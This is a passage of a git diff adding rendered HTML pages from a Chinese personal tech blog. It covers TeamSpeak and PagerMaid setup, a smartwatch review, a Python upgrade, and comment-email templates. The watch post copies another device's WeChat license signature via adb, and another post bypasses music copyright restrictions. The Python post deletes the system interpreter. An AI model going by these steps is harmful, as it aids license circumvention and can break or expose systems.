2022-07-02 09:16:54:INFO:[SteamAutoQueue] Exploring Crazy Kung Fu with link https://store.steampowered.com/app/1340300/Crazy_Kung_Fu/
2022-07-02 09:16:55:INFO:[SteamAutoQueue] Exploring Gunborg: Dark Matters with link https://store.steampowered.com/app/1529160/Gunborg_Dark_Matters/
2022-07-02 09:16:57:INFO:[SteamAutoQueue] Exploring Cyrah's Ascent with link https://store.steampowered.com/app/1992850/Cyrahs_Ascent/
2022-07-02 09:16:58:INFO:[SteamAutoQueue] Queue is empty, trying to spawn a new one.
2022-07-02 09:17:03:INFO:[SteamAutoQueue] Spawned. Now we will continue the work.
2022-07-02 09:17:03:INFO:[SteamAutoQueue] Starting Queue No.3
2022-07-02 09:17:03:INFO:[SteamAutoQueue] Exploring 恋与你 Love with You with link https://store.steampowered.com/app/1814380/_Love_with_You/
2022-07-02 09:17:08:INFO:[SteamAutoQueue] Exploring 堪舆剑冢 with link https://store.steampowered.com/app/1640150/_/
2022-07-02 09:17:10:INFO:[SteamAutoQueue] Exploring Villwars with link https://store.steampowered.com/app/2013990/Villwars/
2022-07-02 09:17:11:INFO:[SteamAutoQueue] Exploring Siege of Treboulain with link https://store.steampowered.com/app/1849760/Siege_of_Treboulain/
2022-07-02 09:17:13:INFO:[SteamAutoQueue] Exploring Contract Killer with link https://store.steampowered.com/app/1588250/Contract_Killer/
2022-07-02 09:17:15:INFO:[SteamAutoQueue] Exploring Tales From Hoia Baciu Forest with link https://store.steampowered.com/app/2002560/Tales_From_Hoia_Baciu_Forest/
2022-07-02 09:17:16:INFO:[SteamAutoQueue] Exploring Endlanders : First Encounter with link https://store.steampowered.com/app/2010450/Endlanders__First_Encounter/
2022-07-02 09:17:18:INFO:[SteamAutoQueue] Exploring Flight Of Nova with link https://store.steampowered.com/app/1069190/Flight_Of_Nova/
2022-07-02 09:17:19:INFO:[SteamAutoQueue] Exploring Gary Grigsby's War in the East 2 with link https://store.steampowered.com/app/1775550/Gary_Grigsbys_War_in_the_East_2/
2022-07-02 09:17:21:INFO:[SteamAutoQueue] Exploring DOOM TOMB with link https://store.steampowered.com/app/1893050/DOOM_TOMB/
2022-07-02 09:17:22:INFO:[SteamAutoQueue] Exploring Nyaaaanvy with link https://store.steampowered.com/app/1771990/Nyaaaanvy/
2022-07-02 09:17:24:INFO:[SteamAutoQueue] Exploring Batho[tel] with link https://store.steampowered.com/app/1981590/Bathotel/
2022-07-02 09:17:25:INFO:[SteamAutoQueue] SteamAutoQueue's work has done!
+ +

Unable to run / Find a bug

Please go to Issues · ElainaMoe/SteamAutoQueue (github.com) and submit a issue. Thanks!

+
Author: GamerNoTitle
Link: https://bili33.top/posts/SteamAutoQueue-Manual/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Teamspeak-Server/index.html b/posts/Teamspeak-Server/index.html new file mode 100644 index 0000000000..b1a44fc40f --- /dev/null +++ b/posts/Teamspeak-Server/index.html @@ -0,0 +1,333 @@ +Teamspeak服务器搭建指南 | GamerNoTitle + + + + + + + + + + + + + + +

Teamspeak服务器搭建指南

在跟群里的水友们进行语音的时候,我用的一般都是扣扣语音,没错就是那个Bug百出而且还超级烂的扣扣语音,虽然有一段时间用过开黑啦,但是感觉不如Discord的体验好。但是水友又不是个个都会用Discord,后来经过我们的商讨,我们决定转战Teamspeak.

+

下面我将会以我的经验来告诉你,一个Teamspeak服务器应该怎么搭建

+

+
+

首先Teamspeak不像QQ那样有官方的服务器可以用,所有的服务器都是自己搭建的(当然也有很多别人搭建好的能用,不过为了安全性考虑还是推荐自己搭建)

+

在教程中,我可能会Teamspeak5和Teamspeak3混用(因为我没有TS5的BETA KEY,有些功能还不能用,不过能用TS5的我还是会用TS5)

+

安装Teamserver

+ +

你需要到Teamserver的官网下载服务器,根据你的服务器系统下载所需要的版本(上面这个直接指向服务器下载页面)

+

因为我这台服务器是Debian GNU/Linux 10(Py3.7.9) x64,所以我这里下载linux 64位的版本,下载完以后直接解压

+

+

解压以后会得到下面这张图所示的这一堆东西

+

+

接着我们运行下面的命令

+

+
1
2
sudo chmod +x *
sh ts3server_startscript.sh start
+ +

它会启动我们的teamspeak服务器,如果你是root用户启动,会跟我一样收到来自teamspeak的提醒

+

WARNING ! For security reasons we advise: DO NOT RUN THE SERVER AS ROOT

+
+ +

如果你觉得以root用户启动没啥问题的话也可以不用管它,我这里因为是用了别人的服务器做教学,别人的默认账户是root,所以就弹了这个

+

运行后红框里面的意思就是让我们去看LICENSE和EULA之类的东西(跟你开个MC服务器是一样的),这里我们新建一个.ts3server_license_accepted来代表我们已阅读并同意LICENSE和EULA(请认真阅读后再进行此操作)

+
1
touch .ts3server_license_accepted
+ +

接着我们再次运行teamspeak服务器,这次就会正常开启了

+

第一次开启会给我们一个privilege key(特权密钥),我们需要用这个密钥来认领我们的服务器(认领的同时我们会获得管理员权限)

+

+

不过在连接之前,请确保你的防火墙开放了如图所示的端口

+

+

接着我们连接我们的Teamspeak服务器,如果是TS3的话,首次连接会直接弹出认领窗口,如果是TS5就会像我这样

+

+

我们把刚刚获得的特权密钥填入,这样我们就获得了服务器的管理员权限。同时,其他用户也可以通过teamspeak连接你的服务器了

+

配置服务器

认领完成后,你的右上角应该有一个铅笔样的图案了,点击它,你就能够修改服务器的一些信息

+

配置项如图

+

+

配置完后点击右上角的勾勾就可以了

+

频道管理

在我上面这张图的底下,有一个Create Channel,点击这里就可以创建频道了,分别可以设置频道的名字、密码、位置、有效期

+

如果没有勾选永久(TS3有临时和半永久)的话,临时频道在所有人退出后会自动销毁,半永久没用过,有用过的可以评论区说说

+

+

创建完成后,点击频道,可以看到频道的相关设置项,同样点击上面的铅笔图标进行修改

+

+

关于图标需要注意的东西:图标必须是方形(否则会给你截中间),而且大小不能超过8kb

+
+ +

你可以设置频道的描述、话题、名字、语音质量、语音解码方式,一般来说语音质量可以拉满,5M的小水管都能跑

+

配置完后同样点击右上角的勾勾来应用就可以啦

+

用户管理

你可以通过右键一个用户来给他相应的服务器/频道权限,也可以单击该用户,在左边的Groups里面修改权限(TS5的功能)

+

+

对于有管理权限的用户,可以踢出用户以及BAN人,服主可以将管理员权限给信任的用户进行管理,这样也能在自己不在线的时候维持服务的秩序

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Teamspeak-Server/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Ticwatch-pro-3-experience/index.html b/posts/Ticwatch-pro-3-experience/index.html new file mode 100644 index 0000000000..dc44a5961c --- /dev/null +++ b/posts/Ticwatch-pro-3-experience/index.html @@ -0,0 +1,357 @@ +Ticwatch Pro 3 使用体验报告 | GamerNoTitle + + + + + + + + + + + + + + + +

Ticwatch Pro 3 使用体验报告

最近因为游泳,带着我的小米手环6,结果第二天游泳下来发现,它的屏幕不好使了,有鬼触的现象,于是就想换一块表

+

因为身边用OPPO Watch 2的人比较多,我又不想跟他们用一样的东西,于是我另辟蹊径,找其他的表

+

一开始看到米表,但是据说配置拉胯,就不考虑了,然后看到了出门问问家的Ticwatch pro 3,这是一个搭载着Google WearOS的智能手表,不过当然有着中国化的成分(指删除大量谷歌服务)

+

跟鱼子市场的卖家进行大量沟通后,我以合适的价格拿下了这块表

+

+

接着就开始折腾了,拿到手是一块啥东西都没设置的新表,会进入“新手引导”模式,我也是花费了一定的时间才弄好

+
+

折腾环节

+

按下右上方的按键就可以打开启动器,从启动器打开软件

+

+

从应用商店安装软件

官方的应用商店就跟App Store一样,一键下载安装就行,其实没啥难度,这里就附几张图吧

+

+

+

使用adb安装软件

使用计算机从adb安装软件

这个要求打开adb,跟手机的开启方法一样,连续点击版本号开启开发者选项,然后在开发者选项里面找到adb调试,把它和通过WLAN调试都打开

+

+

+

让手表和电脑连到同一个WIFI,查看手表的IP地址,接着电脑输入adb connect <ip>就可以连接到手表了,然后使用adb install <apk>就能安装软件了

+

+

使用第三方应用商店安装软件

这里我用了一个叫做唯趣应用商店的东西(官网:唯趣应用商店 - 下载 (etralab.top)),本质也是用adb的,因为手表的软件包管理被阉割了,所以我们只能通过adb来装东西

+

这是一个手表上的应用商店,找到自己想要的软件直接下载安装就行了

+

+

+

使用微信儿童手表版

为什么我要单开一个标题给这个内容,因为自带的绿色微信需要连接手机同步使用,这就违背了我用它的理念,我就是要脱离手机使用

+

隔壁OPPO Watch可以使用微信手表版,但是TWP3不支持,因为微信没有给LICENSE给TWP3,那就只能借用LICENSE了

+

我借了块OPPO Watch来提取它的LICENSE,首先打开OW的adb调试,连接到电脑

+

然后输入以下命令来获取LICENSE

+
1
adb shell settings list global
+ +

(图为TWP3的配置,因为忘记截图了,然后我已经放进去了,就直接拿来顶替了)

+

我们找到以下内容,把这些内容先保存起来

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
字段类型名字相关作用
intilink_product_id产品id
intilink_key_version版本
intilink_supportilink_support =1表示手表支持运行微信
stringilink_device_id设备id
Stringilink_device_signature验证签名
+

+

然后连接到TWP3,使用命令来写入配置

+
1
2
3
4
5
adb shell settings put global ilink_device_id "device_id"
adb shell settings put global ilink_device_signature "device_signature"
adb shell settings put global ilink_key_version "1"
adb shell settings put global ilink_product_id "xxxx"
adb shell settings put global ilink_support "1"
+ +

写入后,再次打开微信儿童版就可以扫码登录使用了

+

+

使用体验

优点

带有ESIM确实可以脱离手机使用,还可以刷一刷B站(用腕上哔哩),看看新闻啥的,特别符合我现在的状态。有的时候跟群友用QQ吹水或者用微信跟我妈聊会天,完全OK

+

缺点

圆屏毕竟不是OW的方屏,很多手机的APP装上TWP3后会因为屏幕的限制而变得无法使用(如Outlook),而且TWP3阉割了Android Webview组件,导致很多东西用不了(直接闪退,例如在QQ邮箱阅读邮件)

+

另外,没有闪充,充电很慢,而且配的线是2PIN的,手表有4个金属触点,换言之就是没有数据传输功能(晚点自造线去)

+

总结

总的来说,使用体验跟价格是匹配的,能够满足我的日常需求,但你要问我推不推荐购买,我只能说现阶段OW3可能更好一些

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Ticwatch-pro-3-experience/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Unblock163Music/index.html b/posts/Unblock163Music/index.html new file mode 100644 index 0000000000..74f5bf7253 --- /dev/null +++ b/posts/Unblock163Music/index.html @@ -0,0 +1,303 @@ +网易云音乐去除版权限制(Nodejs) | GamerNoTitle + + + + + + + + + + + + + + +

网易云音乐去除版权限制(Nodejs)

2020.3.23重制

+ +

今天拿网易云开刀~

+

网易云音乐一直是我们使用得比较频繁的音乐平台,可是他的版权问题实在是令人发寒,每次搜索音乐就看着灰色的歌名失望。。。而隔壁的扣扣音乐就什么都有
灰色的网易云音乐

+

这种情况真的很烦,点开一首歌直接告诉你因版权无法播放,这时候我们就需要脚本登场了
脚本由@nondanee编写,原理是将其他音乐网站的链接替换到网易云,所以并不存在破解网易云音乐的软件,与法律并不矛盾。
源代码可以点@nondanee/UnblockNeteaseMusic,在使用之前,需要安装nodejs环境

+
1
$ git clone https://github.com/nondanee/UnblockNeteaseMusic.git
+ +

克隆代码后,在文件夹里启动命令窗口,输入

+
1
$ npx @nondanee/unblockneteasemusic
+ +

就可以打开程序了,如果提示npx未找到,请先使用

+
1
$ npm install npx -g
+ +

来安装npx哦~

+

启动了以后,在你的网易云音乐里面修改代理,按照你的配置填写即可!

+

代理修改

+
+

题外话:

+

最近Github的地址raw.githubusercontent.com好像被墙了?不能直接在Github网站中下载RAW文件,很烦

+

CloudFlare的Workers最近也是BUG一大堆,总是给我抛出1101错误,先不搭建新的反代了……

+

本网站的邮件提醒已经搭建好了,以后留言就有邮件了~

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Unblock163Music/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/Update-Python-on-my-server/index.html b/posts/Update-Python-on-my-server/index.html new file mode 100644 index 0000000000..e0b149a326 --- /dev/null +++ b/posts/Update-Python-on-my-server/index.html @@ -0,0 +1,313 @@ +记一次更新服务器Python的过程 | GamerNoTitle + + + + + + + + + + + + + + + +

记一次更新服务器Python的过程

这几天撸了一个Warframe的查询bot(GamerNoTitle/AaTMbot: AaTMbot (Alerts & Tenno’s Market Bot) 是一个与go-cqhttp一起运行的WARFRAME信息查询/推送bot (github.com)),因为自己物理机子用的Python版本是3.10.3,所以干脆就用上了3.10更新的match...case...写法,然鹅就当我写完bot部署到服务器的时候,却发现我的服务器的py还停留在3.8.10,这不就用不了match...case...了吗……所以我决定更新一下我的服务器上面的Python

+

+
+

下载Python

很简单,终端直接wget就行了,链接自己从官网获得

+
1
$ wget https://www.python.org/ftp/python/3.10.9/Python-3.10.9.tgz
+ +

然后我们要解压一下我们的文件,用tar命令

+
1
$ tar -zxvf Python-*.tgz
+ +

然后会得到一个文件夹,我们进入这个文件夹里面,准备编译Python

+

编译Python

Python源码是要自己编译的,编译成二进制可执行文件才能被我们的系统执行,首先我们要让它自己配置一下

+
1
$ ./configure --enable-optimizations
+ +

等它配置完以后开始编译(没有make的要先装一下,用sudo apt install make -y

+
1
$ make
+ +

这个过程会非常的漫长(主要我服务器性能太低了),等它编译完

+

+

进行安装

+
1
$ sudo make install
+ +

完成后,我们还要把原来的Python替换掉

+

替换Python

先删除原来的Python

+
1
$ rm /usr/bin/python
+ +

然后建立连接

+
1
2
$ sudo ln -s /home/ubuntu/python310/Python-3.10.9/python /usr/bin/python3
$ sudo ln -s /home/ubuntu/python310/Python-3.10.9/python /usr/bin/python
+ +

这样就完成了

+

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Update-Python-on-my-server/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Use-telegram-with-pagermaid/index.html b/posts/Use-telegram-with-pagermaid/index.html new file mode 100644 index 0000000000..e1d47a49e3 --- /dev/null +++ b/posts/Use-telegram-with-pagermaid/index.html @@ -0,0 +1,342 @@ +防止你的Telegram被垃圾私信轰炸 - PagerMaid-Pyro 部署使用 | GamerNoTitle + + + + + + + + + + + + + +

防止你的Telegram被垃圾私信轰炸 - PagerMaid-Pyro 部署使用

+

TeamPGM/PagerMaid-Pyro: Advanced Multi-Featured Telegram UserBot by pyrogram. (github.com)

+

Replit使用教程 白嫖Repl.it的服务,让你的服务不间断运行 | GamerNoTitle

+

YouTube参考 橙子知道|教你开启Telegram私聊验证功能,告别垃圾广告信息 - YouTube

+
+

先去看Replit的使用教程再来看这个会好一点哦

+
+ +

安装

我们先打开一个Replit实例,创建就好了,类型选到Bash

+

然后把PagerMaid克隆下来

+
1
2
3
$ git clone https://github.com/TeamPGM/PagerMaid-Pyro.git
$ mv PagerMaid-Pyro/* .
$ rm -rf PagerMaid-Pyro
+ +

然后安装轮子(如果不是在replit运行可以不加--target=.

+
1
$ pip install -r requirements.txt --target=.
+ +

装好了以后,我们还需要修改配置文件

+

配置

我们先把原来程序给我们的配置文件复制一份

+
1
$ cp config.gen.yml config.yml
+ +

然后打开config.yml文件,改下里面的配置

+

我们先去Authorization (telegram.org)登录我们的Telegram账号,注册一个应用,这个登录界面的验证码是发到你的Telegram应用里面的,不是短信!

+

+

+

登录进去以后,点API development tools,根据提示注册一个应用

+

注册完了应该会出现像我这样的页面

+

+

我们把App api_idApp api_hash复制下来,填入配置文件中

+
1
2
3
api_id: "ID_HERE"
api_hash: "HASH_HERE"
qrcode_login: "False"
+ +

qrcode_login强烈建议打开,因为你很有可能会收不到验证码,还不如扫个码,打开就填写True

+

然后找到web_interface配置项,把它打开,可以不用,但是要开,要不然不好保活,host要改成0.0.0.0,密码记得改一下

+
1
2
3
4
5
6
web_interface:
enable: "True"
secret_key: "RANDOM_STRING_HERE"
host: "0.0.0.0"
port: "3333"
origins: ["*"]
+ + + +

往下的配置根据自己需要修改,一般来说可以不改

+

接着我们改下main.sh里面的内容,改成下面的内容

+
1
python -m pagermaid
+ +

以便我们一键启动

+

使用

准备好你的手机(要登陆了Telegram)和一个二维码生成器,我用的草料二维码(没收广告费,确实好用)

+

Telegram在设置 => 设备 => 登录新客户端,进入扫码模式

+

然后在控制台打上

+
1
$ python -m pagermaid
+ +

把我们的PagerMaid打开,然后会弹出二维码或者登录链接,你会发现这个二维码显示不全

+

所以我们需要把登录链接丢进草料二维码生成器里面,生成一个二维码,拿手机扫一下,这个链接的有效时间是20秒,所以需要快一点

+

+

+

登录后如果配置了二步验证密码的话,还需要输入一下密码,出现像我这样的提示就是成功了

+

+

我们随便打开一个聊天窗口(建议找个收藏夹或者私聊,因为你发送的内容和PagerMaid给你返回的内容对方是能看到的),输入,help(命令前缀是一个逗号)

+

会弹出PagerMaid的帮助信息,可以在里面找到命令

+

插件

回归正题,本来用这个东西就是为了用私聊垃圾信息屏蔽的,现在只是装好了后端,还没有安装屏蔽功能

+

我们在聊天框输入,apt install pmcaptcha来安装它

+

+

然后输入,pmcaptcha show_settings来查看相关的设置,安装好的同时这个功能就已经打开了

+

当验证失败的时候就会被封禁(使用的是Telegram的Block功能,我这里选的是Sticker验证方式,使用,pmcaptcha change_type sticker就可以换过去了,需要对方发一个Sticker才能通过验证)

+

+

+

还有其他的插件,可以自己去探索。这东西有个web控制台的,可以去看看

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Use-telegram-with-pagermaid/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Valine-Admin/index.html b/posts/Valine-Admin/index.html new file mode 100644 index 0000000000..10c25c41b0 --- /dev/null +++ b/posts/Valine-Admin/index.html @@ -0,0 +1,388 @@ +Valine-Admin博客评论邮件提醒系统部署 | GamerNoTitle + + + + + + + + + + + + + + + +

Valine-Admin博客评论邮件提醒系统部署

PS

本篇内容为博主以前已经完成的事件的记录,并非完成后立即写的文章

+
+ +

前提

本篇内容以已经成功部署Valine作为评论系统为前提,如果还未部署,请参考官方文档

+
+ +
+

本网站一直在使用Valine作为评论系统,之前一直在想:wordpress里面的评论有邮件提醒功能,Valine能不能实现这种功能呢?于是我就到Google去搜索,然后发现了Valine-Admin这个项目

+

首先我们打开我们的Leancloud,进入我们的应用(我这里使用的是国际版,至于为什么选用国际版,有那么一丁点的原因的)

+

如图,点击云引擎-设置,然后将Valine-Admin的HTTPS仓库链接贴进去,链接如下:https://github.com/DesertsP/Valine-Admin.git

+

云引擎贴入仓库地址

+

请注意,不要使用SSH链接,会因为没有权限而部署失败!

+

SSH链接部署失败

+

部署完后,我们需要按照教程配置我们的环境变量

+

下面是必填项(从官方教程搬过来的表格):

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
变量示例说明
SITE_NAMEDeserts[必填]博客名称
SITE_URLhttps://panjunwen.com[必填]首页地址
SMTP_SERVICEQQ[新版支持]邮件服务提供商,支持 QQ、163、126、Gmail 以及 更多
SMTP_USERxxxxxx@qq.com[必填]SMTP登录用户
SMTP_PASSccxxxxxxxxch[必填]SMTP登录密码(QQ邮箱需要获取独立密码)
SENDER_NAMEDeserts[必填]发件人
SENDER_EMAILxxxxxx@qq.com[必填]发件邮箱
ADMIN_URLhttps://xxx.leanapp.cn/[建议]Web主机二级域名,用于自动唤醒
BLOGGER_EMAILxxxxx@gmail.com[可选]博主通知收件地址,默认使用SENDER_EMAIL
AKISMET_KEYxxxxxxxxxxxx[可选]Akismet Key 用于垃圾评论检测,设为MANUAL_REVIEW开启人工审核,留空不使用反垃圾
+

变量设置完成后,需要到下面Web主机域名框填写自己的后台管理面板的域名

+

管理面板域名填写

+

填写完后我们输入自己填写的域名就可以进入后台界面了,第一次进入会要求创建账户

+

如果直接是登录界面请先删除_User表中的所有数据!!!

+
+ +

登录界面应该长这样

+

评论后台管理面板登录

+

云引擎的其他相关配置我在这里不多说,可以去看官方教程,另外,关于博主的通知邮件,我在Rainbow模板上修改了一点,效果是这样的

+

博主通知邮件模板

+
1
<div style="border-radius: 10px 10px 10px 10px;font-size:13px;    color: #555555;width: 666px;font-family:'Century Gothic','Trebuchet MS','Hiragino Sans GB',微软雅黑,'Microsoft Yahei',Tahoma,Helvetica,Arial,'SimSun',sans-serif;margin:50px auto;border:1px solid #eee;max-width:100%;background: #ffffff repeating-linear-gradient(-45deg,#fff,#fff 1.125rem,transparent 1.125rem,transparent 2.25rem);box-shadow: 0 1px 5px rgba(0, 0, 0, 0.15);"><div style="width:100%;background:#49BDAD;color:#ffffff;border-radius: 10px 10px 0 0;background-image: -moz-linear-gradient(0deg, rgb(67, 198, 184), rgb(255, 209, 244));background-image: -webkit-linear-gradient(0deg, rgb(67, 198, 184), rgb(255, 209, 244));height: 66px;"><p style="font-size:15px;word-break:break-all;padding: 23px 32px;margin:0;background-color: hsla(0,0%,100%,.4);border-radius: 10px 10px 0 0;">您的<a style="text-decoration:none;color: #ffffff;" href="${SITE_URL}"> ${SITE_NAME}</a>上有新的留言:</p></div><div style="margin:40px auto;width:90%"><p>${NICK} 给您的留言如下:</p><div style="background: #fafafa repeating-linear-gradient(-45deg,#fff,#fff 1.125rem,transparent 1.125rem,transparent 2.25rem);box-shadow: 0 2px 5px rgba(0, 0, 0, 0.15);margin:20px 0px;padding:15px;border-radius:5px;font-size:14px;color:#555555;">${COMMENT}</div><p>您可以点击<a style="text-decoration:none; color:#12addb" href="${POST_URL}#comments">查看回复的完整內容</a>,欢迎再次光临<a style="text-decoration:none; color:#12addb"                href="${SITE_URL}"> ${SITE_NAME}</a></p><style type="text/css">a:link{text-decoration:none}a:visited{text-decoration:none}a:hover{text-decoration:none}a:active{text-decoration:none}</style></div></div>
+ +

而给用户的模板,使用的是官方的Rainbow模板

+
1
<div style="border-radius: 10px 10px 10px 10px;font-size:13px;    color: #555555;width: 666px;font-family:'Century Gothic','Trebuchet MS','Hiragino Sans GB',微软雅黑,'Microsoft Yahei',Tahoma,Helvetica,Arial,'SimSun',sans-serif;margin:50px auto;border:1px solid #eee;max-width:100%;background: #ffffff repeating-linear-gradient(-45deg,#fff,#fff 1.125rem,transparent 1.125rem,transparent 2.25rem);box-shadow: 0 1px 5px rgba(0, 0, 0, 0.15);"><div style="width:100%;background:#49BDAD;color:#ffffff;border-radius: 10px 10px 0 0;background-image: -moz-linear-gradient(0deg, rgb(67, 198, 184), rgb(255, 209, 244));background-image: -webkit-linear-gradient(0deg, rgb(67, 198, 184), rgb(255, 209, 244));height: 66px;"><p style="font-size:15px;word-break:break-all;padding: 23px 32px;margin:0;background-color: hsla(0,0%,100%,.4);border-radius: 10px 10px 0 0;">您在<a style="text-decoration:none;color: #ffffff;" href="${SITE_URL}"> ${SITE_NAME}</a>上的留言有新回复啦!</p></div><div style="margin:40px auto;width:90%"><p>${PARENT_NICK} 同学,您曾在文章上发表评论:</p><div style="background: #fafafa repeating-linear-gradient(-45deg,#fff,#fff 1.125rem,transparent 1.125rem,transparent 2.25rem);box-shadow: 0 2px 5px rgba(0, 0, 0, 0.15);margin:20px 0px;padding:15px;border-radius:5px;font-size:14px;color:#555555;">${PARENT_COMMENT}</div><p>${NICK} 给您的回复如下:</p><div style="background: #fafafa repeating-linear-gradient(-45deg,#fff,#fff 1.125rem,transparent 1.125rem,transparent 2.25rem);box-shadow: 0 2px 5px rgba(0, 0, 0, 0.15);margin:20px 0px;padding:15px;border-radius:5px;font-size:14px;color:#555555;">${COMMENT}</div><p>您可以点击<a style="text-decoration:none; color:#12addb" href="${POST_URL}#comments">查看回复的完整內容</a>,欢迎再次光临<a style="text-decoration:none; color:#12addb"                href="${SITE_URL}"> ${SITE_NAME}</a></p><style type="text/css">a:link{text-decoration:none}a:visited{text-decoration:none}a:hover{text-decoration:none}a:active{text-decoration:none}</style></div></div>
+ +

邮件提醒的坑

如果要使用邮件通知,不需要在你的网站配置中把Notify这一项设定为true,否则只会按照设置中重置密码的模板发送而不会使用在变量中设置的模板,并且云引擎也不会发送邮件;顺带可以把verify调整为false来避免出现Valine的反人类评论验证

+
+ +

根据教程配置完相关的变量和管理面板后,邮件就会自动发送了!

+

更改了邮件模板,博主模板更换为以下内容(请注意替换里面的名字),来自@Dreamy.TZK

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
<head>
<base target="_blank" />
<style type="text/css">
::-webkit-scrollbar {
display: none;
}
</style>
<style id="cloudAttachStyle" type="text/css">
#divNeteaseBigAttach,
#divNeteaseBigAttach_bak {
display: none;
}
</style>
<style id="blockquoteStyle" type="text/css">
blockquote {
display: none;
}
</style>
</head>

<body tabindex="0" role="listitem">
<div id="content">
<div style="background: white;
width: 95%;
max-width: 800px;
margin: auto auto;
border-radius: 5px;
border:orange 1px solid;
overflow: hidden;
-webkit-box-shadow: 0px 0px 20px 0px rgba(0, 0, 0, 0.12);
box-shadow: 0px 0px 20px 0px rgba(0, 0, 0, 0.18);">
<header style="overflow: hidden;">
<img style="width:100%;z-index: 666;" src="https://ae01.alicdn.com/kf/U5bb04af32be544c4b41206d9a42fcacfd.jpg" />
</header>
<div style="padding: 5px 20px;">
<p style="position: relative;
color: white;
float: left;
z-index: 999;
background: orange;
padding: 5px 30px;
margin: -25px auto 0 ;
box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.30)">
Dear&nbsp;GamerNoTitle
</p>
<br />
<center>
<h3>
来自<span style="text-decoration: none;color: orange ">${NICK}</span>发表评论
</h3>
</center>
<br />
&nbsp; &nbsp;
<p>
Ta在<a style="text-decoration: none;color: orange " target="_blank"
href="https://bili33.top">${SITE_NAME}</a>上发表的评论:
</p>
&nbsp; &nbsp;
<center
style="border-bottom:#ddd 1px solid;border-left:#ddd 1px solid;padding-bottom:20px;background-color:#eee;margin:15px 0px;padding-left:20px;padding-right:20px;border-top:#ddd 1px solid;border-right:#ddd 1px solid;padding-top:20px">
${COMMENT}
</center>
&nbsp; &nbsp;
<br />
<div style="text-align: center;margin-top: 40px;">
<img src="https://ae01.alicdn.com/kf/U0968ee80fd5c4f05a02bdda9709b041eE.png" alt="hr" style="width:100%;
margin:5px auto 5px auto;
display: block;" />
<a style="text-transform: uppercase;
text-decoration: none;
font-size: 14px;
border: 2px solid #6c7575;
color: #2f3333;
padding: 10px;
display: inline-block;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; margin: 10px auto 0; " target="_blank"
href="https://bili33.top">${SITE_NAME}|传送!Biu~</a>
</div>
&nbsp; &nbsp;
<p style="font-size: 12px;text-align: center;color: #999;">
欢迎常来做客哦!<br />
© 2020 <a style="text-decoration:none; color:orange" href="https://bili33.top"> ${SITE_NAME} </a>
</p>
</div>
</div>
</div>
<script>
var _c = document.getElementById("content");
_c.innerHTML = (_c.innerHTML || "")
.replace(/(href|formAction|onclick|javascript)/gi, "__$1")
.replace(/<\/?marquee>/gi, "");
</script>
<style type="text/css">
body {
font-size: 14px;
font-family: arial, verdana, sans-serif;
line-height: 1.666;
padding: 0;
margin: 0;
overflow: auto;
white-space: normal;
word-wrap: break-word;
min-height: 100px;
}
td,
input,
button,
select,
body {
font-family: Helvetica, "Microsoft Yahei", verdana;
}
pre {
white-space: pre-wrap;
white-space: -moz-pre-wrap;
white-space: -pre-wrap;
white-space: -o-pre-wrap;
word-wrap: break-word;
width: 95%;
}
th,
td {
font-family: arial, verdana, sans-serif;
line-height: 1.666;
}
img {
border: 0;
}
header,
footer,
section,
aside,
article,
nav,
hgroup,
figure,
figcaption {
display: block;
}
blockquote {
margin-right: 0px;
}
</style>

<style id="ntes_link_color" type="text/css">
a,
td a {
color: #236da1;
}
</style>
</body>
+ +

给用户的模板替换为

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
<head>
<base target="_blank" />
<style type="text/css">
::-webkit-scrollbar {
display: none;
}
</style>
<style id="cloudAttachStyle" type="text/css">
#divNeteaseBigAttach,
#divNeteaseBigAttach_bak {
display: none;
}
</style>
